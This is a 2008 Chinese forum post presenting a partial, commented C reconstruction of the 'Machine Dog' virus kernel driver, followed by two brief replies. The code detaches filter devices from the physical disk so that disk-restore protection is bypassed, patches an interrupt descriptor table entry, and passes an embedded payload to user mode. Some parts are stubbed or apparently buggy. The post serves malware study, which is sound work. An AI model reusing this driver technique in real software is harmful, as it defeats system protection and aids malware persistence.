阅读:2333回复:2
】“机器狗”病毒驱动部分逆向分析注释(C代码)
/*
标 题: 【原创】“机器狗”病毒驱动部分逆向分析注释(C代码) 作 者: dream2fly(QQ:838468959) 时 间: 2008.03.13 于深圳科技园 链 接; http://www.dream2fly.net 版 本: 1.0 【软件名称】: 机器狗(病毒) 【下载地址】: http://www.dream2fly.net 或 自己搜索下载 【加壳方式】: 未知壳 【编写语言】: MASM 【使用工具】: IDA 【操作平台】: win2003 【软件介绍】: 穿透冰点型带驱动病毒 【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教! */ #include <ntddk.h> // various NT definitions #define IOCTL_MYDEV_BASE 0xF000 #define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS) #define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0" #define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0" #define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0" PDEVICE_OBJECT g_DR0_DeviceObject; PDEVICE_OBJECT g_OldAttachedDeviceOfDR0; VOID* g_ResData; SIZE_T g_ResDataSize; typedef struct _idtr { //定义中断描述符表的限制,长度两字节; short IDTLimit; //定义中断描述服表的基址,长度四字节; unsigned int IDTBase; }IDTR,*PIDTR; typedef struct _idtentry { //中断执行代码偏移量的底16位; unsigned short OffsetLow; //选择器,也就是寄存器; unsigned short Selector; //保留位,始终为零; unsigned char Reserved; //IDT中的门的类型:包括中断门,陷阱门和任务门; unsigned char Type:4; //段标识位; unsigned char SegmentFlag:1; //中断门的权限等级,0表示内核级,3表示用户级; unsigned char DPL:2; //呈现标志位; unsigned char Present:1; //中断执行代码偏移量的高16位; unsigned short OffsetHigh; }IDTENTRY,*PIDTENTRY; #define HOOKINTID_09 9 //NPX Segment Overrun #define HOOKINTID_0E 0x0E //Page Fault VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址 { int INT_09_Address_High8; int INT_0E_Address_High8; unsigned long OldISR_09; unsigned long OldISR_0E; //保存IDT入口的基地址和限制信息的数据结构; IDTR idtr;//store interrupt descript table register. to idtr //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门; PIDTENTRY IdtEntry; //汇编指令sidt,获取IDT入口信息; __asm sidt idtr //赋予IDT基地址值; IdtEntry = (PIDTENTRY)idtr.IDTBase; //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用 OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow); INT_09_Address_High8 = OldISR_09&0x0FF000000; /* 这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了??? 有知道的大侠告诉我dream2fly(QQ:838468959) sub eax, eax jz short FunctionExit 难道是? if (INT_09_Address_High8 == 0) return; */ //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用; OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow); INT_0E_Address_High8 = OldISR_0E&0x0FF000000; if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK { //关中断 __asm cli IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd? //开中断 __asm sti } } /* 通过搜索地址来查找自己的加载地址 查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中 */ VOID* SearchSelf() { VOID* pSelfImage = NULL; VOID* pCurAddr = NULL; VOID* pTmpAddr = NULL; // loc_40045F:这个取当前地址用C怎么写? //028 lea ebx, loc_40045F //028 and ebx, 0FFFFFC00h //pSelfImage如何取? while(MmIsAddressValid(pSelfImage)) { if ((unsigned long)pSelfImage <= 0x80000000) return NULL; if (RtlEqualMemory(pSelfImage, "MZ", 2)) { pCurAddr = pSelfImage; pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C); (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr); if (!MmIsAddressValid(pCurAddr)) return NULL; if (RtlEqualMemory(pCurAddr, "PE", 2)) return pSelfImage; } (unsigned long)pSelfImage -= 0x400;//-1024K } return NULL; } SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas) { // 有空再补上:) return 0; } // // Device driver routine declarations. // NTSTATUS DriverEntry( IN OUT PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ); NTSTATUS CommonDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ); VOID Unload( IN PDRIVER_OBJECT DriverObject ); NTSTATUS DriverEntry( IN OUT PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS ntStatus; CHAR* pResData = NULL; ANSI_STRING SourceString; PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object UNICODE_STRING SymbolicLinkName; UNICODE_STRING DeviceName; VOID* pSelfImage; PDEVICE_OBJECT cur_device_object; PDEVICE_OBJECT next_device_object; CheckIdt(); pSelfImage = SearchSelf(); if (pSelfImage == NULL) return -1; g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData); if (g_ResDataSize == 0) { return -1; } g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize); // 跳转到下条指令,延时 jmp short $+2 RtlCopyMemory(g_ResData, pResData, g_ResDataSize); DriverObject->DriverUnload = Unload; DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch; // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替 RtlInitAnsiString(&SourceString, NT_DEVICE_NAME); RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE); RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME); RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); ntStatus = IoCreateDevice( DriverObject, // Our Driver Object 0, // We don't use a device extension &DeviceName, FILE_DEVICE_NULL, // Device type 0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧? FALSE, // Not an exclusive device &DeviceObject ); // Returned ptr to Device Object if ( !NT_SUCCESS( ntStatus ) ) { goto End; } ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName ); if ( !NT_SUCCESS( ntStatus ) ) { cur_device_object = DriverObject->DeviceObject; while (cur_device_object) { next_device_object = DeviceObject->NextDevice; IoDeleteDevice(cur_device_object); cur_device_object = next_device_object; } } End: RtlFreeUnicodeString(&DeviceName); RtlFreeUnicodeString(&SymbolicLinkName); return STATUS_SUCCESS; } VOID Unload( IN PDRIVER_OBJECT DriverObject ) { ANSI_STRING SourceString; PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object UNICODE_STRING SymbolicLinkName; PDEVICE_OBJECT cur_device_object; PDEVICE_OBJECT next_device_object; if (g_ResData) { ExFreePool(g_ResData); } if (DriverObject) { RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME); RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); IoDeleteSymbolicLink(&SymbolicLinkName); RtlFreeUnicodeString(&SymbolicLinkName); cur_device_object = DriverObject->DeviceObject; while (cur_device_object) { next_device_object = DeviceObject->NextDevice; IoDeleteDevice(cur_device_object); cur_device_object = next_device_object; } } } NTSTATUS CommonDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object PFILE_OBJECT DRO_FileObject; ANSI_STRING SourceString; UNICODE_STRING DRO_DeviceName; PIO_STACK_LOCATION irpSp;// Pointer to current stack location NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success ULONG inBufLength; // Input buffer length ULONG outBufLength; // Output buffer length Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; irpSp = IoGetCurrentIrpStackLocation( Irp ); inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; if(!inBufLength || !outBufLength) { ntStatus = STATUS_INVALID_PARAMETER; goto End; } switch ( irpSp->MajorFunction ) { case IRP_MJ_CREATE: RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME); RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE); IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject); g_DR0_DeviceObject = DRO_FileObject->DeviceObject; //保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加 if (DRO_FileObject->DeviceObject->AttachedDevice) { g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice; DRO_FileObject->DeviceObject->AttachedDevice= NULL; } ObDereferenceObject(DRO_FileObject); RtlFreeUnicodeString(&DRO_DeviceName); break; case IRP_MJ_CLOSE: if (g_DR0_DeviceObject) { if (g_OldAttachedDeviceOfDR0) { g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0; } } break; case IRP_MJ_DEVICE_CONTROL: if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04) { if (outBufLength < g_ResDataSize) goto End; // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略 // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是 // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同?? RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize); Irp->IoStatus.Information = g_ResDataSize; } else { ntStatus = STATUS_INVALID_DEVICE_REQUEST; } break; default: // // The specified I/O control code is unrecognized by this driver. // ntStatus = STATUS_INVALID_DEVICE_REQUEST; break; } End: // // Finish the I/O operation by simply completing the packet and returning // the same status as in the packet itself. // Irp->IoStatus.Status = ntStatus; IoCompleteRequest( Irp, IO_NO_INCREMENT ); return ntStatus; } |
|
|
沙发#
发布于:2008-05-06 09:23
God,看不懂。。。。。。
|
|
|
板凳#
发布于:2008-05-14 22:56
这个版本很老了。
|
|